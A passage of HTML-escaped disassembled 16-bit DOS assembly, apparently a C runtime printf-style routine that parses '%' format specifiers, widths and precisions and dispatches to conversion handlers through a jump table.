/&gt;SUB_41:&lt;br /&gt;        MOV    [DI],AL&lt;br /&gt;        INC    DI&lt;br /&gt;        DEC    BYTE PTR [BP-53H]&lt;br /&gt;        JLE    LOC_RET_162        ; Jump if &lt; or =&lt;br /&gt; &lt;br /&gt;;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt; &lt;br /&gt;SUB_42:&lt;br /&gt;        PUSH    BX&lt;br /&gt;        PUSH    CX&lt;br /&gt;        PUSH    DX&lt;br /&gt;        PUSH    ES&lt;br /&gt;        LEA    AX,[BP-52H]        ; Load effective addr&lt;br /&gt;        SUB    DI,AX&lt;br /&gt;        LEA    AX,[BP-52H]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        PUSH    DI&lt;br /&gt;        PUSH    WORD PTR [BP+8]&lt;br /&gt;        CALL    WORD PTR [BP+0AH]    ;*(0000)             1 entry&lt;br /&gt;        MOV    BYTE PTR [BP-53H],50H    ; 'P'&lt;br /&gt;        ADD    [BP-56H],DI&lt;br /&gt;        LEA    DI,[BP-52H]        ; Load effective addr&lt;br /&gt;        POP    ES&lt;br /&gt;        POP    DX&lt;br /&gt;        POP    CX&lt;br /&gt;        POP    BX&lt;br /&gt; &lt;br /&gt;LOC_RET_162:&lt;br /&gt;        RETN&lt;br /&gt;LOC_163:&lt;br /&gt;        PUSH    ES&lt;br /&gt;        CLD                ; Clear direction&lt;br /&gt;        LEA    DI,[BP-52H]        ; Load effective addr&lt;br /&gt;        MOV    SS:DATA_127E[BP],DI    ; (817F:FF6C=0)&lt;br /&gt;LOC_164:&lt;br /&gt;        MOV    DI,SS:DATA_127E[BP]    ; (817F:FF6C=0)&lt;br /&gt;LOC_165:&lt;br /&gt;        MOV    SI,[BP+6]&lt;br /&gt;LOC_166:&lt;br /&gt;        LODSB                ; String [si] to al&lt;br /&gt;        OR    AL,AL            ; Zero ?&lt;br /&gt;        JZ    LOC_168            ; Jump if zero&lt;br /&gt;        CMP    AL,25H            ; '%'&lt;br /&gt;        JE    LOC_169            ; Jump if equal&lt;br /&gt;LOC_167:&lt;br /&gt;        MOV    [DI],AL&lt;br /&gt;        INC    DI&lt;br /&gt;        DEC    BYTE PTR [BP-53H]&lt;br /&gt;        JG    LOC_166            ; Jump if &gt;&lt;br /&gt;        CALL    SUB_42            ; (0EDD)&lt;br /&gt;        JMP    SHORT LOC_166        ; (0F10)&lt;br /&gt;LOC_168:&lt;br /&gt;        JMP    LOC_247            ; (139E)&lt;br /&gt;LOC_169:&lt;br /&gt;        MOV    SS:DATA_134E[BP],SI    ; (817F:FF78=0)&lt;br /&gt;        LODSB                ; String [si] to al&lt;br /&gt;        CMP    AL,25H            ; '%'&lt;br /&gt;        JE    LOC_167            ; Jump if equal&lt;br /&gt;        MOV    SS:DATA_127E[BP],DI    ; (817F:FF6C=0)&lt;br /&gt;        XOR    CX,CX            ; Zero register&lt;br /&gt;        MOV    SS:DATA_133E[BP],CX    ; (817F:FF76=0)&lt;br /&gt;        MOV    SS:DATA_126E[BP],CX    ; (817F:FF6A=0)&lt;br /&gt;        MOV    SS:DATA_132E[BP],CL    ; (817F:FF75=0)&lt;br /&gt;        MOV    WORD PTR SS:DATA_130E[BP],0FFFFH    ; (817F:FF70=0)&lt;br /&gt;        MOV    WORD PTR SS:DATA_131E[BP],0FFFFH    ; (817F:FF72=0)&lt;br /&gt;        JMP    SHORT LOC_171        ; (0F53)&lt;br /&gt;LOC_170:&lt;br /&gt;        LODSB                ; String [si] to al&lt;br /&gt;LOC_171:&lt;br /&gt;        XOR    AH,AH            ; Zero register&lt;br /&gt;        MOV    DX,AX&lt;br /&gt;        MOV    BX,AX&lt;br /&gt;        SUB    BL,20H            ; ' '&lt;br /&gt;        CMP    BL,60H            ; '`'&lt;br /&gt;        JAE    LOC_173            ; Jump if above or =&lt;br /&gt;        MOV    BL,DATA_111[BX]        ; (8134:03F5=0)&lt;br /&gt;        MOV    AX,BX&lt;br /&gt;        CMP    AX,17H&lt;br /&gt;        JBE    LOC_172            ; Jump if below or =&lt;br /&gt;        JMP    LOC_245            ; (138C)&lt;br /&gt;LOC_172:&lt;br /&gt;        MOV    BX,AX&lt;br /&gt;        SHL    BX,1            ; Shift w/zeros fill&lt;br /&gt;        JMP    WORD PTR CS:DATA_41[BX]    ;*(7FD4:0F78=0FC3H)  24 entries&lt;br /&gt;DATA_41        DW    OFFSET LOC_176        ; Data table (indexed access)&lt;br /&gt;DATA_42        DW    OFFSET LOC_174&lt;br /&gt;DATA_43        DW    OFFSET LOC_182&lt;br /&gt;DATA_44        DW    OFFSET LOCLOOP_175&lt;br /&gt;DATA_45        DW    OFFSET LOC_185&lt;br /&gt;DATA_46        DW    OFFSET LOC_186&lt;br /&gt;DATA_47        DW    OFFSET LOC_188&lt;br /&gt;DATA_48        DW    OFFSET LOC_189&lt;br /&gt;DATA_49        DW    OFFSET LOC_190&lt;br /&gt;DATA_50        DW    OFFSET LOC_180&lt;br /&gt;DATA_51        DW    OFFSET LOC_196&lt;br /&gt;DATA_52        DW    OFFSET LOC_191&lt;br /&gt;DATA_53        DW    OFFSET LOC_192&lt;br /&gt;DATA_54        DW    OFFSET LOC_193&lt;br /&gt;DATA_55        DW    OFFSET LOC_205&lt;br /&gt;DATA_56        DW    OFFSET LOC_214&lt;br /&gt;DATA_57        DW    OFFSET LOC_208&lt;br /&gt;DATA_58        DW    OFFSET LOC_209&lt;br /&gt;DATA_59        DW    OFFSET LOC_242&lt;br /&gt;DATA_60        DW    OFFSET LOC_245&lt;br /&gt;DATA_61        DW    OFFSET LOC_245&lt;br /&gt;DATA_62        DW    OFFSET LOC_245&lt;br /&gt;DATA_63        DW    OFFSET LOC_178&lt;br /&gt;DATA_64        DW    OFFSET LOC_179&lt;br /&gt;LOC_173:&lt;br /&gt;        JMP    LOC_245            ; (138C)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_174:&lt;br /&gt;        CMP    CH,0&lt;br /&gt;        JA    LOC_173            ; Jump if above&lt;br /&gt;        OR    WORD PTR SS:DATA_126E[BP],1    ; (817F:FF6A=0)&lt;br /&gt;        JMP    SHORT LOC_170        ; (0F52)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;LOCLOOP_175:&lt;br /&gt;        CMP    CH,0&lt;br /&gt;        JA    LOC_173            ; Jump if above&lt;br /&gt;        OR    WORD PTR SS:DATA_126E[BP],2    ; (817F:FF6A=0)&lt;br /&gt;        JMP    SHORT LOC_170        ; (0F52)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_176:&lt;br /&gt;        CMP    CH,0&lt;br /&gt;        JA    LOC_173            ; Jump if above&lt;br /&gt;        CMP    BYTE PTR SS:DATA_132E[BP],2BH    ; (817F:FF75=0) '+'&lt;br /&gt;        JE    LOC_177            ; Jump if equal&lt;br /&gt;        MOV    SS:DATA_132E[BP],DL    ; (817F:FF75=0)&lt;br /&gt;LOC_177:&lt;br /&gt;        JMP    LOC_170            ; (0F52)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_178:&lt;br /&gt;        AND    WORD PTR SS:DATA_126E[BP],0FFDFH    ; (817F:FF6A=0)&lt;br /&gt;        MOV    CH,5&lt;br /&gt;        JMP    LOC_170            ; (0F52)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_179:&lt;br /&gt;        OR    WORD PTR SS:DATA_126E[BP],20H    ; (817F:FF6A=0)&lt;br /&gt;        MOV    CH,5&lt;br /&gt;        JMP    LOC_170            ; (0F52)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_180:&lt;br /&gt;        CMP    CH,0&lt;br /&gt;        JA    LOC_186            ; Jump if above&lt;br /&gt;        TEST    WORD PTR SS:DATA_126E[BP],2    ; (817F:FF6A=0)&lt;br /&gt;        JNZ    LOC_183            ; Jump if not zero&lt;br /&gt;        OR    WORD PTR SS:DATA_126E[BP],8    ; (817F:FF6A=0)&lt;br /&gt;        MOV    CH,1&lt;br /&gt;        JMP    LOC_170            ; (0F52)&lt;br /&gt;LOC_181:&lt;br /&gt;        JMP    LOC_245            ; (138C)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_182:&lt;br /&gt;        MOV    DI,[BP+4]&lt;br /&gt;        MOV    AX,[DI]&lt;br /&gt;        ADD    WORD PTR [BP+4],2&lt;br /&gt;        CMP    CH,2&lt;br /&gt;        JAE    LOC_184            ; Jump if above or =&lt;br /&gt;        MOV    SS:DATA_130E[BP],AX    ; (817F:FF70=0)&lt;br /&gt;        MOV    CH,3&lt;br /&gt;LOC_183:&lt;br /&gt;        JMP    LOC_170            ; (0F52)&lt;br /&gt;LOC_184:&lt;br /&gt;        CMP    CH,4&lt;br /&gt;        JNE    LOC_181            ; Jump if not equal&lt;br /&gt;        MOV    SS:DATA_131E[BP],AX    ; (817F:FF72=0)&lt;br /&gt;        INC    CH&lt;br /&gt;        JMP    LOC_170            ; (0F52)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_185:&lt;br /&gt;        CMP    CH,4&lt;br /&gt;        JAE    LOC_181            ; Jump if above or =&lt;br /&gt;        MOV    CH,4&lt;br /&gt;        JMP    LOC_170            ; (0F52)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_186:&lt;br /&gt;        XCHG    AX,DX&lt;br /&gt;        SUB    AL,30H            ; '0'&lt;br /&gt;        CBW                ; Convrt byte to word&lt;br /&gt;        CMP    CH,2&lt;br /&gt;        JA    LOC_187            ; Jump if above&lt;br /&gt;        MOV    CH,2&lt;br /&gt;        XCHG    AX,SS:DATA_130E[BP]    ; (817F:FF70=0)&lt;br /&gt;        OR    AX,AX            ; Zero ?&lt;br /&gt;        JL    LOC_183            ; Jump if &lt;&lt;br /&gt;        SHL    AX,1            ; Shift w/zeros fill&lt;br /&gt;        MOV    DX,AX&lt;br /&gt;        SHL    AX,1            ; Shift w/zeros fill&lt;br /&gt;        SHL    AX,1            ; Shift w/zeros fill&lt;br /&gt;        ADD    AX,DX&lt;br /&gt;        ADD    SS:DATA_130E[BP],AX    ; (817F:FF70=0)&lt;br /&gt;        JMP    LOC_170            ; (0F52)&lt;br /&gt;LOC_187:&lt;br /&gt;        CMP    CH,4&lt;br /&gt;        JNE    LOC_181            ; Jump if not equal&lt;br /&gt;        XCHG    AX,SS:DATA_131E[BP]    ; (817F:FF72=0)&lt;br /&gt;        OR    AX,AX            ; Zero ?&lt;br /&gt;        JL    LOC_183            ; Jump if &lt;&lt;br /&gt;        SHL    AX,1            ; Shift w/zeros fill&lt;br /&gt;        MOV    DX,AX&lt;br /&gt;        SHL    AX,1            ; Shift w/zeros fill&lt;br /&gt;        SHL    AX,1            ; Shift w/zeros fill&lt;br /&gt;        ADD    AX,DX&lt;br /&gt;        ADD    SS:DATA_131E[BP],AX    ; (817F:FF72=0)&lt;br /&gt;        JMP    LOC_170            ; (0F52)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_188:&lt;br /&gt;        OR    WORD PTR SS:DATA_126E[BP],10H    ; (817F:FF6A=0)&lt;br /&gt;        MOV    CH,5&lt;br /&gt;        JMP    LOC_170            ; (0F52)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_189:&lt;br /&gt;        OR    WORD PTR SS:DATA_126E[BP],100H    ; (817F:FF6A=0)&lt;br /&gt;        AND    WORD PTR SS:DATA_126E[BP],0FFEFH    ; (817F:FF6A=0)&lt;br /&gt;        MOV    CH,5&lt;br /&gt;        JMP    LOC_170            ; (0F52)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_190:&lt;br /&gt;        AND    WORD PTR SS:DATA_126E[BP],0FFEFH    ; (817F:FF6A=0)&lt;br /&gt;        OR    WORD PTR SS:DATA_126E[BP],80H    ; (817F:FF6A=0)&lt;br /&gt;        MOV    CH,5&lt;br /&gt;        JMP    LOC_170            ; (0F52)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_191:&lt;br /&gt;        MOV    BH,8&lt;br /&gt;        JMP    SHORT LOC_194        ; (10AD)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_192:&lt;br /&gt;        MOV    BH,0AH&lt;br /&gt;        JMP    SHORT LOC_195        ; (10B2)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_193:&lt;br /&gt;        MOV    BH,10H&lt;br /&gt;        MOV    BL,0E9H&lt;br /&gt;        ADD    BL,DL&lt;br /&gt;LOC_194:&lt;br /&gt;        MOV    BYTE PTR SS:DATA_132E[BP],0    ; (817F:FF75=0)&lt;br /&gt;LOC_195:&lt;br /&gt;        MOV    BYTE PTR SS:DATA_129E[BP],0    ; (817F:FF6F=0)&lt;br /&gt;        MOV    SS:DATA_128E[BP],DL    ; (817F:FF6E=0)&lt;br /&gt;        MOV    DI,[BP+4]&lt;br /&gt;        MOV    AX,[DI]&lt;br /&gt;        XOR    DX,DX            ; Zero register&lt;br /&gt;        JMP    SHORT LOC_197        ; (10D5)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_196:&lt;br /&gt;        MOV    BH,0AH&lt;br /&gt;        MOV    BYTE PTR SS:DATA_129E[BP],1    ; (817F:FF6F=0)&lt;br /&gt;        MOV    SS:DATA_128E[BP],DL    ; (817F:FF6E=0)&lt;br /&gt;        MOV    DI,[BP+4]&lt;br /&gt;        MOV    AX,[DI]&lt;br /&gt;        CWD                ; Word to double word&lt;br /&gt;LOC_197:&lt;br /&gt;        INC    DI&lt;br /&gt;        INC    DI&lt;br /&gt;        MOV    [BP+6],SI&lt;br /&gt;        TEST    WORD PTR SS:DATA_126E[BP],10H    ; (817F:FF6A=0)&lt;br /&gt;        JZ    LOC_198            ; Jump if zero&lt;br /&gt;        MOV    DX,[DI]&lt;br /&gt;        INC    DI&lt;br /&gt;        INC    DI&lt;br /&gt;LOC_198:&lt;br /&gt;        MOV    [BP+4],DI&lt;br /&gt;        LEA    DI,[BP-85H]        ; Load effective addr&lt;br /&gt;        OR    AX,AX            ; Zero ?&lt;br /&gt;        JNZ    LOC_202            ; Jump if not zero&lt;br /&gt;        OR    DX,DX            ; Zero ?&lt;br /&gt;        JNZ    LOC_202            ; Jump if not zero&lt;br /&gt;        CMP    WORD PTR SS:DATA_131E[BP],0    ; (817F:FF72=0)&lt;br /&gt;        JNE    LOC_203            ; Jump if not equal&lt;br /&gt;        MOV    DI,SS:DATA_127E[BP]    ; (817F:FF6C=0)&lt;br /&gt;        MOV    CX,SS:DATA_130E[BP]    ; (817F:FF70=0)&lt;br /&gt;        JCXZ    LOC_201            ; Jump if cx=0&lt;br /&gt;        CMP    CX,0FFFFH&lt;br /&gt;        JE    LOC_201            ; Jump if equal&lt;br /&gt;        MOV    AX,SS:DATA_126E[BP]    ; (817F:FF6A=0)&lt;br /&gt;        AND    AX,8&lt;br /&gt;        JZ    LOC_199            ; Jump if zero&lt;br /&gt;        MOV    DL,30H            ; '0'&lt;br /&gt;        JMP    SHORT LOCLOOP_200    ; (111A)&lt;br /&gt;LOC_199:&lt;br /&gt;        MOV    DL,20H            ; ' '&lt;br /&gt; &lt;br /&gt;LOCLOOP_200:&lt;br /&gt;        MOV    AL,DL&lt;br /&gt;        CALL    SUB_41            ; (0ED5)&lt;br /&gt;        LOOP    LOCLOOP_200        ; Loop if cx &gt; 0&lt;br /&gt; &lt;br /&gt;LOC_201:&lt;br /&gt;        JMP    LOC_165            ; (0F0D)&lt;br /&gt;LOC_202:&lt;br /&gt;        OR    WORD PTR SS:DATA_126E[BP],4    ; (817F:FF6A=0)&lt;br /&gt;LOC_203:&lt;br /&gt;        PUSH    DX&lt;br /&gt;        PUSH    AX&lt;br /&gt;        PUSH    DI&lt;br /&gt;        MOV    AL,BH&lt;br /&gt;        CBW                ; Convrt byte to word&lt;br /&gt;        PUSH    AX&lt;br /&gt;        MOV    AL,SS:DATA_129E[BP]    ; (817F:FF6F=0)&lt;br /&gt;        PUSH    AX&lt;br /&gt;        PUSH    BX&lt;br /&gt;        CALL    SUB_30            ; (0A49)&lt;br /&gt;        PUSH    SS&lt;br /&gt;        POP    ES&lt;br /&gt;        MOV    DX,SS:DATA_131E[BP]    ; (817F:FF72=0)&lt;br /&gt;        OR    DX,DX            ; Zero ?&lt;br /&gt;        JG    LOC_204            ; Jump if &gt;&lt;br /&gt;        JMP    LOC_219            ; (125A)&lt;br /&gt;LOC_204:&lt;br /&gt;        JMP    LOC_220            ; (126A)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_205:&lt;br /&gt;        MOV    SS:DATA_128E[BP],DL    ; (817F:FF6E=0)&lt;br /&gt;        MOV    [BP+6],SI&lt;br /&gt;        LEA    DI,[BP-86H]        ; Load effective addr&lt;br /&gt;        MOV    BX,[BP+4]&lt;br /&gt;        PUSH    WORD PTR [BX]&lt;br /&gt;        INC    BX&lt;br /&gt;        INC    BX&lt;br /&gt;        MOV    [BP+4],BX&lt;br /&gt;        TEST    WORD PTR SS:DATA_126E[BP],20H    ; (817F:FF6A=0)&lt;br /&gt;        JZ    LOC_206            ; Jump if zero&lt;br /&gt;        PUSH    WORD PTR [BX]&lt;br /&gt;        INC    BX&lt;br /&gt;        INC    BX&lt;br /&gt;        MOV    [BP+4],BX&lt;br /&gt;        PUSH    SS&lt;br /&gt;        POP    ES&lt;br /&gt;        CALL    SUB_38            ; (0E89)&lt;br /&gt;        MOV    AL,3AH            ; ':'&lt;br /&gt;        STOSB                ; Store al to es:[di]&lt;br /&gt;LOC_206:&lt;br /&gt;        PUSH    SS&lt;br /&gt;        POP    ES&lt;br /&gt;        CALL    SUB_38            ; (0E89)&lt;br /&gt;        MOV    BYTE PTR [DI],0&lt;br /&gt;        MOV    BYTE PTR SS:DATA_129E[BP],0    ; (817F:FF6F=0)&lt;br /&gt;        AND    WORD PTR SS:DATA_126E[BP],0FFFBH    ; (817F:FF6A=0)&lt;br /&gt;        LEA    CX,[BP-86H]        ; Load effective addr&lt;br /&gt;        SUB    DI,CX&lt;br /&gt;        XCHG    CX,DI&lt;br /&gt;        MOV    DX,SS:DATA_131E[BP]    ; (817F:FF72=0)&lt;br /&gt;        CMP    DX,CX&lt;br /&gt;        JG    LOC_207            ; Jump if &gt;&lt;br /&gt;        MOV    DX,CX&lt;br /&gt;LOC_207:&lt;br /&gt;        JMP    LOC_219            ; (125A)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_208:&lt;br /&gt;        MOV    [BP+6],SI&lt;br /&gt;        MOV    SS:DATA_128E[BP],DL    ; (817F:FF6E=0)&lt;br /&gt;        MOV    DI,[BP+4]&lt;br /&gt;        MOV    AX,[DI]&lt;br /&gt;        ADD    WORD PTR [BP+4],2&lt;br /&gt;        PUSH    SS&lt;br /&gt;        POP    ES&lt;br /&gt;        LEA    DI,[BP-85H]        ; Load effective addr&lt;br /&gt;        XOR    AH,AH            ; Zero register&lt;br /&gt;        MOV    [DI],AX&lt;br /&gt;        MOV    CX,1&lt;br /&gt;        JMP    LOC_223            ; (1294)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_209:&lt;br /&gt;        MOV    [BP+6],SI&lt;br /&gt;        MOV    SS:DATA_128E[BP],DL    ; (817F:FF6E=0)&lt;br /&gt;        MOV    DI,[BP+4]&lt;br /&gt;        TEST    WORD PTR SS:DATA_126E[BP],20H    ; (817F:FF6A=0)&lt;br /&gt;        JNZ    LOC_210            ; Jump if not zero&lt;br /&gt;        MOV    DI,[DI]&lt;br /&gt;        ADD    WORD PTR [BP+4],2&lt;br /&gt;        PUSH    DS&lt;br /&gt;        POP    ES&lt;br /&gt;        OR    DI,DI            ; Zero ?&lt;br /&gt;        JMP    SHORT LOC_211        ; (11E4)&lt;br /&gt;LOC_210:&lt;br /&gt;        LES    DI,DWORD PTR [DI]    ; Load 32 bit ptr&lt;br /&gt;        ADD    WORD PTR [BP+4],4&lt;br /&gt;        MOV    AX,ES&lt;br /&gt;        OR    AX,DI&lt;br /&gt;LOC_211:&lt;br /&gt;        JNZ    LOC_212            ; Jump if not zero&lt;br /&gt;        PUSH    DS&lt;br /&gt;        POP    ES&lt;br /&gt;        MOV    DI,3DEH&lt;br /&gt;LOC_212:&lt;br /&gt;        CALL    SUB_40            ; (0EC8)&lt;br /&gt;        CMP    CX,SS:DATA_131E[BP]    ; (817F:FF72=0)&lt;br /&gt;        JBE    LOC_213            ; Jump if below or =&lt;br /&gt;        MOV    CX,SS:DATA_131E[BP]    ; (817F:FF72=0)&lt;br /&gt;LOC_213:&lt;br /&gt;        JMP    LOC_223            ; (1294)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_214:&lt;br /&gt;        MOV    [BP+6],SI&lt;br /&gt;        MOV    SS:DATA_128E[BP],DL    ; (817F:FF6E=0)&lt;br /&gt;        MOV    DI,[BP+4]&lt;br /&gt;        MOV    CX,SS:DATA_131E[BP]    ; (817F:FF72=0)&lt;br /&gt;        OR    CX,CX            ; Zero ?&lt;br /&gt;        JGE    LOC_215            ; Jump if &gt; or =&lt;br /&gt;        MOV    CX,6&lt;br /&gt;LOC_215:&lt;br /&gt;        PUSH    DI&lt;br /&gt;        PUSH    CX&lt;br /&gt;        LEA    BX,[BP-85H]        ; Load effective addr&lt;br /&gt;        PUSH    BX&lt;br /&gt;        PUSH    DX&lt;br /&gt;        MOV    AX,1&lt;br /&gt;        AND    AX,SS:DATA_126E[BP]    ; (817F:FF6A=0)&lt;br /&gt;        PUSH    AX&lt;br /&gt;        MOV    AX,SS:DATA_126E[BP]    ; (817F:FF6A=0)&lt;br /&gt;        TEST    AX,80H&lt;br /&gt;        JZ    LOC_216            ; Jump if zero&lt;br /&gt;        MOV    AX,2&lt;br /&gt;        MOV    WORD PTR [BP-2],4&lt;br /&gt;        JMP    SHORT LOC_218        ; (124A)&lt;br /&gt;LOC_216:&lt;br /&gt;        TEST    AX,100H&lt;br /&gt;        JZ    LOC_217            ; Jump if zero&lt;br /&gt;        MOV    AX,8&lt;br /&gt;        MOV    WORD PTR [BP-2],0AH&lt;br /&gt;        JMP    SHORT LOC_218        ; (124A)&lt;br /&gt;LOC_217:&lt;br /&gt;        MOV    WORD PTR [BP-2],8&lt;br /&gt;        MOV    AX,6&lt;br /&gt;LOC_218:&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_37            ; (0E85)&lt;br /&gt;        MOV    AX,[BP-2]&lt;br /&gt;        ADD    [BP+4],AX&lt;br /&gt;        PUSH    SS&lt;br /&gt;        POP    ES&lt;br /&gt;        LEA    DI,[BP-85H]        ; Load effective addr&lt;br /&gt;LOC_219:&lt;br /&gt;        TEST    WORD PTR SS:DATA_126E[BP],8    ; (817F:FF6A=0)&lt;br /&gt;        JZ    LOC_221            ; Jump if zero&lt;br /&gt;        MOV    DX,SS:DATA_130E[BP]    ; (817F:FF70=0)&lt;br /&gt;        OR    DX,DX            ; Zero ?&lt;br /&gt;        JLE    LOC_221            ; Jump if &lt; or =&lt;br /&gt;LOC_220:&lt;br /&gt;        CALL    SUB_40            ; (0EC8)&lt;br /&gt;        SUB    DX,CX&lt;br /&gt;        JLE    LOC_221            ; Jump if &lt; or =&lt;br /&gt;        MOV    SS:DATA_133E[BP],DX    ; (817F:FF76=0)&lt;br /&gt;LOC_221:&lt;br /&gt;        MOV    AL,SS:DATA_132E[BP]    ; (817F:FF75=0)&lt;br /&gt;        OR    AL,AL            ; Zero ?&lt;br /&gt;        JZ    LOC_222            ; Jump if zero&lt;br /&gt;        CMP    BYTE PTR ES:[DI],2DH    ; '-'&lt;br /&gt;        JE    LOC_222            ; Jump if equal&lt;br /&gt;        SUB    WORD PTR SS:DATA_133E[BP],1    ; (817F:FF76=0)&lt;br /&gt;        ADC    WORD PTR SS:DATA_133E[BP],0    ; (817F:FF76=0)&lt;br /&gt;        DEC    DI&lt;br /&gt;        MOV    ES:[DI],AL&lt;br /&gt;LOC_222:&lt;br /&gt;        CALL    SUB_40            ; (0EC8)&lt;br /&gt;LOC_223:&lt;br /&gt;        MOV    SI,DI&lt;br /&gt;        MOV    DI,SS:DATA_127E[BP]    ; (817F:FF6C=0)&lt;br /&gt;        MOV    BX,SS:DATA_130E[BP]    ; (817F:FF70=0)&lt;br /&gt;        MOV    AX,5&lt;br /&gt;        AND    AX,SS:DATA_126E[BP]    ; (817F:FF6A=0)&lt;br /&gt;        CMP    AX,5&lt;br /&gt;        JNE    LOC_224            ; Jump if not equal&lt;br /&gt;        MOV    AH,SS:DATA_128E[BP]    ; (817F:FF6E=0)&lt;br /&gt;        CMP    AH,6FH            ; 'o'&lt;br /&gt;        JNE    LOC_225            ; Jump 